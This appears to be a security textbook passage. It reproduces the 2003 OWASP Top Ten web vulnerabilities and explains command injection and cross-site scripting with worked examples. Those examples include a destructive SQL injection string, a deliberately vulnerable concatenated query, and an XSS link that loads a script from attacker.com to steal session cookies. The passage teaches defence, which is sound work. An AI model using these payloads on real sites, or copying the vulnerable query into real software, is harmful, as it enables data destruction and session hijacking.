Common Vulnerabilities
On January 13, 2003, The Open Web Application Security Project (OWASP, for short), an open source project dedicated to development of secure Web applications and Web services, published a report titled OWASP Top Ten Web Application Security Vulnerabilities, listing the top ten critical vulnerabilities for Web applications. This list is reproduced in Table 9-2. The complete report is also available online at OWASP homepage http://www.owasp.org and is complementary to our brief coverage here.
| Vulnerability | Brief Description | |
|---|---|---|
| A1 | Unvalidated Parameters | Information from Web requests is not validated before being used by a Web application. Attackers can use these flaws to attack backend components through a Web application. |
| A2 | Broken Access Control | Restrictions on what authenticated users are allowed to do are not properly enforced. Attackers can exploit these flaws to access other users' accounts, view sensitive files, or use unauthorized functions. |
| A3 | Broken Account and Session Management | Account credentials and session tokens are not properly protected. Attackers that can compromise passwords, keys, session cookies or other tokens can defeat authentication restrictions and assume other users' identities. |
| A4 | Cross-Site Scripting Flaws | The Web application can be used as a mechanism to transport an attack to an end-user's browser. A successful attack can disclose the end user's session token, attack the local machine, or spoof content to fool the user. |
| A5 | Buffer Overflows | Web application components in some languages that do not properly validate input can be crashed and, in some cases, used to take control of a process. These components can include CGI, libraries, drivers, and Web application server components. |
| A6 | Command Injection Flaws | Web applications pass parameters when they access external systems or the local operating system. If an attacker can embed malicious commands in these parameters, the external system may execute those commands on behalf of the Web application. |
| A7 | Error Handling Problems | Error conditions that occur during normal operation are not handled properly. If an attacker can cause errors to occur that the Web application does not handle, they can gain detailed system information, deny service, cause security mechanisms to fail, or crash the server. |
| A8 | Insecure Use of Cryptography | Web applications frequently use cryptographic functions to protect information and credentials. These functions and code to integrate them have proven difficult to code properly, frequently resulting in weak protection. |
| A9 | Remote Administration Flaws | Many Web applications allow administrators to access the site using a Web interface. If these administrative functions are not very carefully protected, an attacker can gain full access to all aspects of a site. |
| A10 | Web and Application Server Misconfiguration | Having a strong server configuration standard is critical to a secure Web application. These servers have many configuration options that affect security and are not secure out of the box. |
| Source: The Ten Most Critical Web Application Security Vulnerabilities, January 13, 2003. Copyright © 2003. The Open Web Application Security Project (OWASP). All Rights Reserved. | ||
A look at this list makes it clear that a developer cannot address all of these vulnerabilities. However there are some that could be, and should be, addressed. Improper or incomplete validation of request parameters (A1), Cross-Site Scripting flaws (A4), and error handling problems (A7) fall in this category. In fact, buffer overflows (A5) and command inject flaws (A6) result from inadequate validation of parameters. So avoiding A1 can, to some extent, mitigate A5 and A6. Some of the vulnerabilities in the list, such as buffer overflows (A5), insecure use of cryptography (A8) and broken session management, are less of a problem for Java-based Web applications as the platform takes care of these issues. Others require careful attention during deployment, operations and routine maintenance by the site administrators.
Let us dig into command injection and cross-site scripting vulnerabilities, for they need attention during development.
Command Injection Flaws
Command injection flaws are best understood with help of an example. Think of a storefront website that maintains product information in a relational database and allows users to retrieve pricing information based on product name. An unsuspecting Web application could construct a SQL query with the user supplied product name this way, assuming that the variable prod is initialized with a user supplied string value:
sqlStr = "SELECT price FROM priceTable WHERE prod='" + prod + "';";
A malicious user can delete the priceTable (or run any SQL command) by supplying a product name, such as:
' OR 1=1; DELETE TABLE priceTable; --
This has the effect of executing the following SQL statement:
SELECT price FROM priceTable WHERE prod=' ' OR 1=1; DELETE TABLE priceTable; --';
Note that the trailing (backslash) is only to indicate line continuation and doesn't appear in the SQL statement. As character sequence "--" means the beginning of an SQL comment, the last ' character is ignored. Essentially, the malicious user has been able to inject an additional SQL statement. Both the SQL statements will execute, for the first one always succeeds. In our example, the second statement deletes a TABLE, but it could be any command chosen by the attacker.
Similar or even more dangerous outcomes are possible when an arbitrary user input is passed to the command shell, allowing a malicious user to completely take over the machine running the vulnerable application.
You can avoid this flaw by carefully validating all the input data sent to external programs, disallowing special characters that can be used to subvert the command. The actual validation depends on the external program and the application logic.
Cross-Site Scripting (XSS) Flaws
Cross-site scripting vulnerabilities are said to exist when an attacker is able to trick the user into running a script in the users' browser, making it believe that the script originated from a trusted site. Like the last section, this is best understood with the help of an example.
A Web application running on machine bestdomain.com accepts requests of form http://bestdomain.com/bestapp?name=yourname to retrieve some data relevant to the user with the specified name. If the specified name is not known to the Web application, it tries to be helpful and displays the following error page, including the value of the parameter name:
<html>
<head>
<title>Error message</title>
</head>
<body>
<h1>Error: User yourname is not known</h1>
<h1>Correct the name and retry</h1>
</body>
</html>
Now assume that a user gets an e-mail in HTML format from an unknown source with the following content:
Amazing deals. <a href="http://bestdomain.com/bestapp?name= <script%20src="http://attacker.com/attack.js"></script>">Click Here</a>
Not knowing the URL of the link, the user clicks the link Click Here. Also assume that the user happens to have an account with bestdomain.com site and is authenticated before the request is serviced.
What happens when the request gets to the Web application? The Web application sends the error page to the browser with the following line:
<h1>Error: User <script%20src="http://attacker.com/attack.js"></script> is not known</h1>
The browser will interpret this line as one with embedded script and proceed to download and execute the script attack.js (a JavaScript program) from http://attacker.com. This script will execute within the hapless user's browser with the privileges of the bestdomain.com and could engage in all sorts of malicious activities. For example, it can access the session cookie for the browser's session with bestdomain.com site and relay that information to the attacker. The attacker can use this information to hijack the authenticated session.
Web application developers are usually careful about data entered by users that may be displayed in other users' browsers. They are not so careful about validating the data that gets sent to the same user who entered it at the first place. XSS takes advantage of this.
When XSS was first discovered, the attention was on default pages served by the Web servers and Web containers. However, it can impact any Web application that renders HTML pages with user supplied data. Its avoidance is completely within the purview of the application developer and in fact, cannot be completely addressed by the Web container. It requires validation and sanitization of all data destined for user browsers, even those coming from the target browser.